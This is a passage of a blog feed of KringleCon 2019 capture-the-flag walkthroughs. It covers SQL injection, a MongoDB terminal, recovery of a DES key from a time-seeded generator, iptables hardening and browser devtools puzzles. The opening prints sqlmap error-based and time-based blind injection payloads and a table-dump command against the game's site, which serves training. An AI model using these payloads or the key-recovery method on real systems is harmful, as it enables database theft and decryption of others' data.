&lt;/span>&lt;span class="s1"> Payload: elfmail=asd&amp;#39;&lt;/span> AND &lt;span class="o">(&lt;/span>SELECT &lt;span class="m">1941&lt;/span> FROM&lt;span class="o">(&lt;/span>SELECT COUNT&lt;span class="o">(&lt;/span>*&lt;span class="o">)&lt;/span>,CONCAT&lt;span class="o">(&lt;/span>0x716b626b71,&lt;span class="o">(&lt;/span>SELECT &lt;span class="o">(&lt;/span>ELT&lt;span class="o">(&lt;/span>&lt;span class="nv">1941&lt;/span>&lt;span class="o">=&lt;/span>1941,1&lt;span class="o">)))&lt;/span>,0x7171626a71,FLOOR&lt;span class="o">(&lt;/span>RAND&lt;span class="o">(&lt;/span>0&lt;span class="o">)&lt;/span>*2&lt;span class="o">))&lt;/span>x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x&lt;span class="o">)&lt;/span>a&lt;span class="o">)&lt;/span> AND &lt;span class="s1">&amp;#39;EUey&amp;#39;&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;EUey
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1"> Type: time-based blind
&lt;/span>&lt;span class="s1"> Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
&lt;/span>&lt;span class="s1"> Payload: elfmail=asd&amp;#39;&lt;/span> AND &lt;span class="o">(&lt;/span>SELECT &lt;span class="m">1748&lt;/span> FROM &lt;span class="o">(&lt;/span>SELECT&lt;span class="o">(&lt;/span>SLEEP&lt;span class="o">(&lt;/span>5&lt;span class="o">)))&lt;/span>MzkM&lt;span class="o">)&lt;/span> AND &lt;span class="s1">&amp;#39;qFnu&amp;#39;&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="err">&amp;#39;&lt;/span>qFnu
---
&lt;span class="o">[&lt;/span>10:59:36&lt;span class="o">]&lt;/span> &lt;span class="o">[&lt;/span>INFO&lt;span class="o">]&lt;/span> the back-end DBMS is MySQL
web application technology: PHP 7.2.1, Nginx 1.14.2
back-end DBMS: MySQL &amp;gt;&lt;span class="o">=&lt;/span> 5.0
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now you can see that &lt;strong>sqlmap&lt;/strong>, in cooperation with the &lt;strong>mitmproxy&lt;/strong>, successfully identified the DB type and found 3 vulnerabilities in the &lt;strong>elfmail&lt;/strong> input field:&lt;/p>
&lt;ul>
&lt;li>boolean-based blind&lt;/li>
&lt;li>error-based&lt;/li>
&lt;li>time-based blind&lt;/li>
&lt;/ul>
&lt;p>Next you can use sqlmap explore the database further. Passing the flag &lt;strong>&amp;ndash;dbs&lt;/strong> to the same command as before will list all databases, while the flag &lt;strong>&amp;ndash;tables&lt;/strong> will list all the tables within a chosen database. Once you found the correct combination of flags, you can use the flag &lt;strong>&amp;ndash;dump&lt;/strong> to dump the table&amp;rsquo;s content. In this case these flags worked to find the paper scraps:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">~/sqlmap ▶ python3 sqlmap.py --proxy&lt;span class="o">=[&lt;/span>...&lt;span class="o">]&lt;/span> --url&lt;span class="o">=[&lt;/span>...&lt;span class="o">]&lt;/span> -p elfmail -D elfu -T krampus --dump
database: elfu
Table: krampus
&lt;span class="o">[&lt;/span>&lt;span class="m">6&lt;/span> entries&lt;span class="o">]&lt;/span>
+----+-----------------------+
&lt;span class="p">|&lt;/span> id &lt;span class="p">|&lt;/span> path &lt;span class="p">|&lt;/span>
+----+-----------------------+
&lt;span class="p">|&lt;/span> &lt;span class="m">1&lt;/span> &lt;span class="p">|&lt;/span> /krampus/0f5f510e.png &lt;span class="p">|&lt;/span>
&lt;span class="p">|&lt;/span> &lt;span class="m">2&lt;/span> &lt;span class="p">|&lt;/span> /krampus/1cc7e121.png &lt;span class="p">|&lt;/span>
&lt;span class="p">|&lt;/span> &lt;span class="m">3&lt;/span> &lt;span class="p">|&lt;/span> /krampus/439f15e6.png &lt;span class="p">|&lt;/span>
&lt;span class="p">|&lt;/span> &lt;span class="m">4&lt;/span> &lt;span class="p">|&lt;/span> /krampus/667d6896.png &lt;span class="p">|&lt;/span>
&lt;span class="p">|&lt;/span> &lt;span class="m">5&lt;/span> &lt;span class="p">|&lt;/span> /krampus/adb798ca.png &lt;span class="p">|&lt;/span>
&lt;span class="p">|&lt;/span> &lt;span class="m">6&lt;/span> &lt;span class="p">|&lt;/span> /krampus/ba417715.png &lt;span class="p">|&lt;/span>
+----+-----------------------+
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Prepending the file names from the exfiltrated table with the site&amp;rsquo;s URL will finally reveal the paper scraps. Once you download and reassemble all of them, you can read the full text of the letter and answer the objective.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">wget https://studentportal.elfu.org/krampus/0f5f510e.png
wget https://studentportal.elfu.org/krampus/1cc7e121.png
wget https://studentportal.elfu.org/krampus/439f15e6.png
wget https://studentportal.elfu.org/krampus/667d6896.png
wget https://studentportal.elfu.org/krampus/adb798ca.png
wget https://studentportal.elfu.org/krampus/ba417715.png
&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>What is the name of Santa&amp;rsquo;s cutting-edge sleigh guidance system?&lt;/strong>:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">Super Sled-o-matic
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Recover Cleartext Document</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective10/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective10/</guid><description>&lt;h2 id="hidden-in-the-mongo">Hidden in the Mongo&lt;/h2>
&lt;p>Instructions in your personal badge:&lt;/p>
&lt;blockquote>
&lt;p>The Elfscrow Crypto tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can&amp;rsquo;t send you the source, but we do have debug symbols that you can use.
Recover the plaintext content for this encrypted document. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
What is the middle line on the cover page? (Hint: it&amp;rsquo;s five words)
For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.&lt;/p>
&lt;/blockquote>
&lt;p>Links in the objective:&lt;/p>
&lt;ul>
&lt;li>
&lt;a href="https://downloads.elfu.org/elfscrow.exe" target="_blank" rel="noopener">elfscrow.exe&lt;/a>&lt;/li>
&lt;li>
&lt;a href="https://downloads.elfu.org/elfscrow.pdb" target="_blank" rel="noopener">elfscrow.pdb&lt;/a>&lt;/li>
&lt;li>
&lt;a href="https://downloads.elfu.org/ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc" target="_blank" rel="noopener">encrypted_document&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>First is a Windows executable, which can be used to perform encryption on arbitrary input and observe output. The second is a file for storing debugging information about a the encryption tool itself (this will help you mitigate the lack of access to its source code), and finally the encrypted document which you need to decipher.&lt;/p>
&lt;p>For further hints you may approach &lt;strong>Holly Evergreen&lt;/strong> in the NetWars room, but he will only reveal them if you help him solve some issues with his terminal first!&lt;/p>
&lt;p>&lt;img src="../images/obj10-room.png" alt="Holly Evergreen in NetWars room">&lt;/p>
&lt;blockquote>
&lt;p>Hey! It&amp;rsquo;s me, Holly Evergreen! My teacher has been locked out of the quiz database and can&amp;rsquo;t remember the right solution.
Without access to the answer, none of our quizzes will get graded.
Can we help get back in to find that solution?
I tried lsof -i, but that tool doesn&amp;rsquo;t seem to be installed.
I think there&amp;rsquo;s a tool like ps that&amp;rsquo;ll help too. What are the flags I need?
Either way, you&amp;rsquo;ll need to know a teensy bit of Mongo once you&amp;rsquo;re in.
Pretty please find us the solution to the quiz!&lt;/p>
&lt;/blockquote>
&lt;p>Now, you should click on the terminal near Holly and dive into the console to help him recover the quiz material he is after:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">Hello dear player! Won&lt;span class="s1">&amp;#39;t you please come help me get my wish!
&lt;/span>&lt;span class="s1">I&amp;#39;&lt;/span>m searching teacher&lt;span class="err">&amp;#39;&lt;/span>s database, but all I find are fish!
Do all his boating trips effect some database dilution?
It should not be this hard &lt;span class="k">for&lt;/span> me to find the quiz solution!
Find the solution hidden in the MongoDB on this system.
elf@e496ebfb254b:~$ netstat -a -n -o
Active Internet connections &lt;span class="o">(&lt;/span>servers and established&lt;span class="o">)&lt;/span>
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp &lt;span class="m">0&lt;/span> &lt;span class="m">0&lt;/span> 127.0.0.1:12121 0.0.0.0:* LISTEN off &lt;span class="o">(&lt;/span>0.00/0/0&lt;span class="o">)&lt;/span>
tcp &lt;span class="m">0&lt;/span> &lt;span class="m">0&lt;/span> 127.0.0.1:54372 127.0.0.1:12121 TIME_WAIT timewait &lt;span class="o">(&lt;/span>7.43/0/0&lt;span class="o">)&lt;/span>
Active UNIX domain sockets &lt;span class="o">(&lt;/span>servers and established&lt;span class="o">)&lt;/span>
Proto RefCnt Flags Type State I-Node Path
unix &lt;span class="m">2&lt;/span> &lt;span class="o">[&lt;/span> ACC &lt;span class="o">]&lt;/span> STREAM LISTENING &lt;span class="m">168482939&lt;/span> /tmp/mongodb-12121.sock
elf@e496ebfb254b:~$ mongo --port &lt;span class="m">12121&lt;/span>
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:12121/
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.
&amp;gt;
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So the hint in the terminal says that the database backend is MongoDB, and so you should first use &lt;strong>netstat&lt;/strong> to find out the port on which the mongod is listening on, then connect to it. Now you are in the mongo shell ready to poke around to find the answer:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">&amp;gt; show dbs
admin 0.000GB
config 0.000GB
elfu 0.000GB
&lt;span class="nb">local&lt;/span> 0.000GB
&lt;span class="nb">test&lt;/span> 0.000GB
&amp;gt; use elfu
switched to db elfu
&amp;gt; show tables
bait
chum
line
metadata
solution
system.js
tackle
tincan
&amp;gt; db.solution.find&lt;span class="o">()&lt;/span>
&lt;span class="o">{&lt;/span> &lt;span class="s2">&amp;#34;_id&amp;#34;&lt;/span> : &lt;span class="s2">&amp;#34;You did good! Just run the command between the stars: ** db.loadServerScripts();displaySolution(); **&amp;#34;&lt;/span> &lt;span class="o">}&lt;/span>
&amp;gt; db.loadServerScripts&lt;span class="o">()&lt;/span>
&amp;gt; displaySolution&lt;span class="o">()&lt;/span>
.
__/ __
/
/.&lt;span class="s1">&amp;#39;o&amp;#39;&lt;/span>.
.*.&lt;span class="s1">&amp;#39;.
&lt;/span>&lt;span class="s1"> .&amp;#39;&lt;/span>.&lt;span class="s1">&amp;#39;*&amp;#39;&lt;/span>.
*&lt;span class="s1">&amp;#39;.o.&amp;#39;&lt;/span>.*.
.&lt;span class="s1">&amp;#39;.*.&amp;#39;&lt;/span>.&lt;span class="s1">&amp;#39;.*.
&lt;/span>&lt;span class="s1"> .o.&amp;#39;&lt;/span>.*.&lt;span class="s1">&amp;#39;.*.&amp;#39;&lt;/span>.
&lt;span class="o">[&lt;/span>_____&lt;span class="o">]&lt;/span>
___/
Congratulations!!
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So with this the technical challenge in Holly&amp;rsquo;s terminal is solved, he is ready to provide you with some useful hints for solving Objective:&lt;/p>
&lt;blockquote>
&lt;p>Woohoo! Fantabulous! I&amp;rsquo;ll be the coolest elf in class.
On a completely unrelated note, digital rights management can bring a hacking elf down.
That ElfScrow one can really be a hassle.
It&amp;rsquo;s a good thing Ron Bowes is giving a talk on reverse engineering!
That guy knows how to rip a thing apart. It&amp;rsquo;s like he breathes opcodes!&lt;/p>
&lt;/blockquote>
&lt;p>So his best hint points you to a youtube video from Ron Bowes who has a KringleCon
&lt;a href="https://www.youtube.com/watch?v=obJdpKDpFBA" target="_blank" rel="noopener">talk&lt;/a>. This is definitely a very good hint, be sure to watch it!&lt;/p>
&lt;h2 id="reverse-crypto---main-objective">Reverse crypto - Main Objective&lt;/h2>
&lt;p>To kick off the crypto fun, let&amp;rsquo;s call the &lt;strong>elfscrow.exe&lt;/strong> right away, to see how it can be used.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">C:&lt;span class="se">\U&lt;/span>sers&lt;span class="se">\a&lt;/span>dmin&lt;span class="se">\D&lt;/span>esktop&lt;span class="se">\e&lt;/span>lfscrow&amp;gt; elfscrow.exe
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!
Are you encrypting a file? Try --encrypt! For example:
elfscrow.exe --encrypt &amp;lt;infile&amp;gt; &amp;lt;outfile&amp;gt;
You&lt;span class="s1">&amp;#39;ll be given a secret ID. Keep it safe! The only way to get the file
&lt;/span>&lt;span class="s1">back is to use that secret ID to decrypt it, like this:
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1"> elfscrow.exe --decrypt --id=&amp;lt;secret_id&amp;gt; &amp;lt;infile&amp;gt; &amp;lt;outfile&amp;gt;
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1">You can optionally pass --insecure to use unencrypted HTTP. But if you
&lt;/span>&lt;span class="s1">do that, you&amp;#39;&lt;/span>ll be vulnerable to packet sniffers such as Wireshark that
could potentially snoop on your traffic to figure out what&lt;span class="err">&amp;#39;&lt;/span>s going on!
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This last sentence seems to invite you to do exactly what it warns against. While running the program with the &lt;strong>&amp;ndash;insecure&lt;/strong> flag and sniffing network traffic with Wireshark, I could not find any vulnerabilities however. It seems that the key ID, useful to retrieve it from the server, is generated quite unpredictably. Thus, instead of attacking the key ID you should attack the algorithm that generates the key for encryption/decryption.&lt;/p>
&lt;p>As mentioned in the objective, the file you need to decrypt was encrypted sometime between 7-9pm on December 6th, 2019 UTC. As such, the plan was to gather enough information to generate the same key that was used to encrypt the file. For this I had to do some further reconnaissance in IDA Pro, so I fired it up with the provided &lt;strong>.pdb&lt;/strong> file.&lt;/p>
&lt;p>After a few minutes of poking around in the GUI, I did a string search for &lt;strong>generate&lt;/strong> and found the sub-routine called &lt;code>generate_key&lt;/code> that seemed interesting. I spent some time studying it and find the highlighted parts quite interesting on the below screenshot:&lt;/p>
&lt;p>&lt;img src="../images/obj10-keygen.png" alt="Generate_Key IDA PDB">&lt;/p>
&lt;p>It seems that in order to generate the key, it uses the timestamp as a seed to the random number generator. Pretty useful observation. Next I notice a loop, that executes 8 times and generates 8 bits of random data on each iteration, so this suggests that it may be using DES encryption algorithm and thus a 64 bit key. To generate the random key, this sub-routine makes a call to &lt;strong>super_secure_random&lt;/strong> on each iteration of the loop, as seen on the below figure:&lt;/p>
&lt;p>&lt;img src="../images/obj10-supersecure.png" alt="Super Secure Random IDA PDB">&lt;/p>
&lt;p>This sub-routine has some constants, for which I do some Google searches to reveal that these are used in Linear Congruential Generator algorithms (LCG for short -
&lt;a href="https://en.wikipedia.org/wiki/Linear_congruential_generator" target="_blank" rel="noopener">link&lt;/a>). Then I searched for some example implementations of this algorithm, and found a very useful website, which has the same algorithm implemented in many different languages. As I like to work with Go, I decided to choose
&lt;a href="https://rosettacode.org/wiki/Linear_congruential_generator#Go" target="_blank" rel="noopener">this&lt;/a> implementation and go from there.&lt;/p>
&lt;p>To see if my code is correct, when it generates a key based on a given seed, I execute the &lt;strong>elfscrow.exe&lt;/strong> once more and noted the values in its output:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">C:&lt;span class="se">\&amp;gt;&lt;/span> elfscrow.exe --insecure --encrypt elfscrow.pdb encrypted_elfscrow.pdb.enc
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!
Our miniature elves are putting together random bits &lt;span class="k">for&lt;/span> your secret key!
&lt;span class="nv">Seed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="m">1577895929&lt;/span> &lt;span class="s">&amp;lt;&amp;lt; NOTE THIS
&lt;/span>&lt;span class="s">Generated an encryption key: 09f384150bdb41ba (length: 8) &amp;lt;&amp;lt; AN&lt;/span>D THIS
...
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, I fed the same seed into the algorithm I put together to generate a key for DES, and observed the same key output:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">~/elfscrow ▶ go run lcg.go
Seed: &lt;span class="m">1577895929&lt;/span>
Key: 09f384150bdb41ba
&lt;/code>&lt;/pre>&lt;/div>&lt;p>It seems that the key, generated by my code, is the same that was output in the windows command line terminal after executing &lt;strong>elfscrow.exe&lt;/strong> on a sample file. This is good news! Next, I looked on the Internet for an example implementation of DES decryption in Go and found a good
&lt;a href="https://stackoverflow.com/questions/41579325/golang-how-do-i-decrypt-with-des-cbc-and-pkcs7" target="_blank" rel="noopener">solution&lt;/a> on StackOverflow&amp;hellip; as usual!&lt;/p>
&lt;p>Finally, I integrated this Go code for DES decryption with my key generation Go code, and created a tool that loops through every second of the given time interval, generates the corresponding key and uses it for decrypting the given file. If the resulting plain-text is a valid PDF - the plain-text result starts with &lt;code>%PDF&lt;/code> - it will save the result to a pdf file on disk. The program takes around 2-3 minutes to finish iterating through every second of the given time interval, but eventually it successfully recovers the pdf file. The timestamp for when the encryption happened is:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">12/06/2019 @ 8:20pm &lt;span class="o">(&lt;/span>UTC&lt;span class="o">)&lt;/span> - &lt;span class="m">1575663650&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This code can be found in a Github
&lt;a href="https://github.com/florianakos/kringlecon-elfscrow" target="_blank" rel="noopener">repo&lt;/a> I created.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">~/elfscrow ▶ go run des-go.go
Key-Used: b5ad6a321240fbec - TimeStamp: &lt;span class="m">1575663650&lt;/span> - First-4-Chars: %PDF...
~/elfscrow ▶
&lt;/code>&lt;/pre>&lt;/div>&lt;p>After running this program, it will save the pdf in the same directory where it is executed with the decrypted file. Opening the pdf we can finally recover the solution to this objective:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">Machine Learning Sleigh Route Finder
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Open the Sleigh Shop Door</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective11/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective11/</guid><description>&lt;h2 id="ips-or-tables-what">IPs or Tables? What?!&lt;/h2>
&lt;p>Instructions in your personal badge:&lt;/p>
&lt;blockquote>
&lt;p>Visit Shinny Upatree in the Student Union and help solve their problem.
What is written on the paper you retrieve for Shinny?
For hints on achieving this objective, please visit the Student Union and talk with Kent Tinseltooth.&lt;/p>
&lt;/blockquote>
&lt;p>Once you teleport to the Student Union building through the air-vents system, you can get further hints from Kent, but first he needs your help with something quite urgent!&lt;/p>
&lt;p>&lt;img src="../images/obj11-kent.png" alt="Kent and his braces">&lt;/p>
&lt;blockquote>
&lt;p>OK, this is starting to freak me out!
Oh sorry, I&amp;rsquo;m Kent Tinseltooth. My Smart Braces are acting up.
Do&amp;hellip; Do you ever get the feeling you can hear things? Like, voices?
I know, I sound crazy, but ever since I got these&amp;hellip; Oh!
Do you think you could take a look at my Smart Braces terminal?
I&amp;rsquo;ll bet you can keep other students out of my head, so to speak.
It might just take a bit of Iptables work.&lt;/p>
&lt;/blockquote>
&lt;p>So after you get the hints from Kent about his problem, you can investigate further in the terminal device next to him:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">Inner Voice: Kent. Kent. Wake up, Kent.
Inner Voice: I&lt;span class="s1">&amp;#39;m talking to you, Kent.
&lt;/span>&lt;span class="s1">Kent TinselTooth: Who said that? I must be going insane.
&lt;/span>&lt;span class="s1">Kent TinselTooth: Am I?
&lt;/span>&lt;span class="s1">Inner Voice: That remains to be seen, Kent. But we are having a conversation.
&lt;/span>&lt;span class="s1">Inner Voice: This is Santa, Kent, and you&amp;#39;&lt;/span>ve been a very naughty boy.
Kent TinselTooth: Alright! Who is this?! Holly? Minty? Alabaster?
Inner Voice: I am known by many names. I am the boss of the North Pole. Turn to me and be hired after graduation.
Kent TinselTooth: Oh, sure.
Inner Voice: Cut the candy, Kent, you&lt;span class="s1">&amp;#39;ve built an automated, machine-learning, sleigh device.
&lt;/span>&lt;span class="s1">Kent TinselTooth: How did you know that?
&lt;/span>&lt;span class="s1">Inner Voice: I&amp;#39;&lt;/span>m Santa - I know everything.
Kent TinselTooth: Oh. Kringle. *sigh*
Inner Voice: That&lt;span class="s1">&amp;#39;s right, Kent. Where is the sleigh device now?
&lt;/span>&lt;span class="s1">Kent TinselTooth: I can&amp;#39;&lt;/span>t tell you.
Inner Voice: How would you like to intern &lt;span class="k">for&lt;/span> the rest of time?
Kent TinselTooth: Please no, they&lt;span class="s1">&amp;#39;re testing it at srf.elfu.org using default creds, but I don&amp;#39;&lt;/span>t know more. It&lt;span class="s1">&amp;#39;s classified.
&lt;/span>&lt;span class="s1">Inner Voice: Very good Kent, that&amp;#39;&lt;/span>s all I needed to know.
Kent TinselTooth: I thought you knew everything?
Inner Voice: Nevermind that. I want you to think about what you&lt;span class="s1">&amp;#39;ve researched and studied. From now on, stop playing with your teeth, and floss more.
&lt;/span>&lt;span class="s1">Kent TinselTooth: Oh no, I sure hope that voice was Santa&amp;#39;&lt;/span>s.
Kent TinselTooth: I suspect someone may have hacked into my IOT teeth braces.
Kent TinselTooth: I must have forgotten to configure the firewall...
Kent TinselTooth: Please review /home/elfuuser/IOTteethBraces.md and &lt;span class="nb">help&lt;/span> me configure the firewall.
Kent TinselTooth: Please hurry&lt;span class="p">;&lt;/span> having this ribbon cable on my teeth is uncomfortable.
elfuuser@b17a1f97bf17:~$ cat /home/elfuuser/IOTteethBraces.md
&lt;span class="c1"># ElfU Research Labs - Smart Braces&lt;/span>
&lt;span class="c1">### A Lightweight Linux Device for Teeth Braces&lt;/span>
&lt;span class="c1">### Imagined and Created by ElfU Student Kent TinselTooth&lt;/span>
This device is embedded into one&lt;span class="err">&amp;#39;&lt;/span>s teeth braces &lt;span class="k">for&lt;/span> easy management and monitoring of dental status. It uses FTP and HTTP &lt;span class="k">for&lt;/span> management and monitoring purposes but also has SSH &lt;span class="k">for&lt;/span> remote access. Please refer to the management documentation &lt;span class="k">for&lt;/span> this purpose.
&lt;span class="c1">## Proper Firewall configuration:&lt;/span>
The firewall used &lt;span class="k">for&lt;/span> this system is &lt;span class="sb">`&lt;/span>iptables&lt;span class="sb">`&lt;/span>. The following is an example of how to &lt;span class="nb">set&lt;/span> a default policy with using &lt;span class="sb">`&lt;/span>iptables&lt;span class="sb">`&lt;/span>:
sudo iptables -P FORWARD DROP
The following is an example of allowing traffic from a specific IP and to a specific port:
sudo iptables -A INPUT -p tcp --dport &lt;span class="m">25&lt;/span> -s 172.18.5.4 -j ACCEPT
A proper configuration &lt;span class="k">for&lt;/span> the Smart Braces should be exactly:
1. Set the default policies to DROP &lt;span class="k">for&lt;/span> the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote &lt;span class="nb">source&lt;/span> IP address 172.19.0.225 to access the &lt;span class="nb">local&lt;/span> SSH server &lt;span class="o">(&lt;/span>on port 22&lt;span class="o">)&lt;/span>.
4. Create a rule to ACCEPT any &lt;span class="nb">source&lt;/span> IP to the &lt;span class="nb">local&lt;/span> TCP services on ports &lt;span class="m">21&lt;/span> and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.
elfuuser@b17a1f97bf17:~$
&lt;/code>&lt;/pre>&lt;/div>&lt;p>In order to solve this technical challenge, you need to follow the instructions at the end of the &lt;strong>IOTteethBraces.md&lt;/strong> file and implement the necessary IPTables rules to stop whoever is messing with Kent&amp;rsquo;s smart braces. I found this task to be quite straightforward, so I will just list the necessary commands below:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">elfuuser@4f938dab4458:~$ sudo iptables -P INPUT DROP
elfuuser@4f938dab4458:~$ sudo iptables -P OUTPUT DROP
elfuuser@4f938dab4458:~$ sudo iptables -P FORWARD DROP
elfuuser@4f938dab4458:~$ sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A INPUT -s 172.19.0.225 -p tcp --dport &lt;span class="m">22&lt;/span> -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A INPUT -p tcp --dport &lt;span class="m">21&lt;/span> -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A INPUT -p tcp --dport &lt;span class="m">80&lt;/span> -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A OUTPUT -p tcp --dport &lt;span class="m">80&lt;/span> -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A INPUT -i lo -j ACCEPT
elfuuser@4f938dab4458:~$ Kent TinselTooth: Great, you hardened my IOT Smart Braces firewall!
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, the additional hints from Kent are revealed:&lt;/p>
&lt;blockquote>
&lt;p>Oh thank you! It&amp;rsquo;s so nice to be back in my own head again. Er, alone.
By the way, have you tried to get into the crate in the Student Union? It has an interesting set of locks.
There are funny rhymes, references to perspective, and odd mentions of eggs!
And if you think the stuff in your browser looks strange, you should see the page source&amp;hellip;
Special tools? No, I don&amp;rsquo;t think you&amp;rsquo;ll need any extra tooling for those locks.
BUT - I&amp;rsquo;m pretty sure you&amp;rsquo;ll need to use Chrome&amp;rsquo;s developer tools for that one.
Or sorry, you&amp;rsquo;re a Firefox fan?
Yeah, Safari&amp;rsquo;s fine too - I just have an ineffible hunger for a physical Esc key.
Edge? That&amp;rsquo;s cool. Hm? No no, I was thinking of an unrelated thing.
Curl fan? Right on! Just remember: the Windows one doesn&amp;rsquo;t like double quotes.
Old school, huh? Oh sure - I&amp;rsquo;ve got what you need right here..&lt;/p>
&lt;/blockquote>
&lt;h2 id="hodor---main-objective">HODOR!?! - Main Objective&lt;/h2>
&lt;p>To kick off solving of this main objective, let&amp;rsquo;s go over to Shinny by the door to the right and talk with him:&lt;/p>
&lt;blockquote>
&lt;p>Psst - hey!
I&amp;rsquo;m Shinny Upatree, and I know what&amp;rsquo;s going on!
Yeah, that&amp;rsquo;s right - guarding the sleigh shop has made me privvy to some serious, high-level intel.
In fact, I know WHO is causing all the trouble.
Cindy? Oh no no, not that who. And stop guessing - you&amp;rsquo;ll never figure it out.
The only way you could would be if you could break into my crate, here.
You see, I&amp;rsquo;ve written the villain&amp;rsquo;s name down on a piece of paper and hidden it away securely!&lt;/p>
&lt;/blockquote>
&lt;p>Next you should click on the crate next to the door, in the corner, and open it in a new tab: &lt;strong>&lt;a href="https://sleighworkshopdoor.elfu.org/">https://sleighworkshopdoor.elfu.org/&lt;/a>&lt;/strong>. This will open web interface with 10 locks you need to open for the door to open up.&lt;/p>
&lt;p>&lt;img src="../images/obj11-locks.png" alt="Crate locks">&lt;/p>
&lt;p>They all look like the one above. Each lock also contains some short hint for solving it. As Kent noted, you need to get comfortable with the Developer tools of your chosen browser client. I use Google Chrome now, so this solution will include instruction for that environment.&lt;/p>
&lt;h3 id="lock-1">Lock 1&lt;/h3>
&lt;blockquote>
&lt;p>I locked the crate with the villain&amp;rsquo;s name inside. Can you get it out?&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Hint&lt;/strong>: Look into the console of your browser and see the code appear there:&lt;/p>
&lt;p>&lt;img src="../images/obj11-lock1.png" alt="Lock1">&lt;/p>
&lt;h3 id="lock-2">Lock 2&lt;/h3>
&lt;blockquote>
&lt;p>Some codes are hard to spy, perhaps they&amp;rsquo;ll show up on pulp with dye?&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Hint&lt;/strong>: Open print preview, and see the code appear on the page next to the 2nd lock:&lt;/p>
&lt;p>&lt;img src="../images/obj11-lock2.png" alt="Lock2">&lt;/p>
&lt;h3 id="lock-3">Lock 3&lt;/h3>
&lt;blockquote>
&lt;p>This code is still unknown; it was fetched but never shown.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Hint&lt;/strong>: Open the Developer tools and check the Network tab for any resources fetched, you will see a png file that holds the code.&lt;/p>
&lt;p>&lt;img src="../images/obj11-lock3.png" alt="Lock3">&lt;/p>
&lt;h3 id="lock-4">Lock 4&lt;/h3>
&lt;blockquote>
&lt;p>Where might we keep the things we forage? Yes, of course: Local barrels!&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Hint&lt;/strong>: Pretty straightforward hint, go to Developer tools, Local storage and look for the code there.&lt;/p>
&lt;p>&lt;img src="../images/obj11-lock4.png" alt="Lock4">&lt;/p>
&lt;h3 id="lock-5">Lock 5&lt;/h3>
&lt;blockquote>
&lt;p>Did you notice the code in the title? It may very well prove vital.&lt;/p>
&lt;/blockquote>
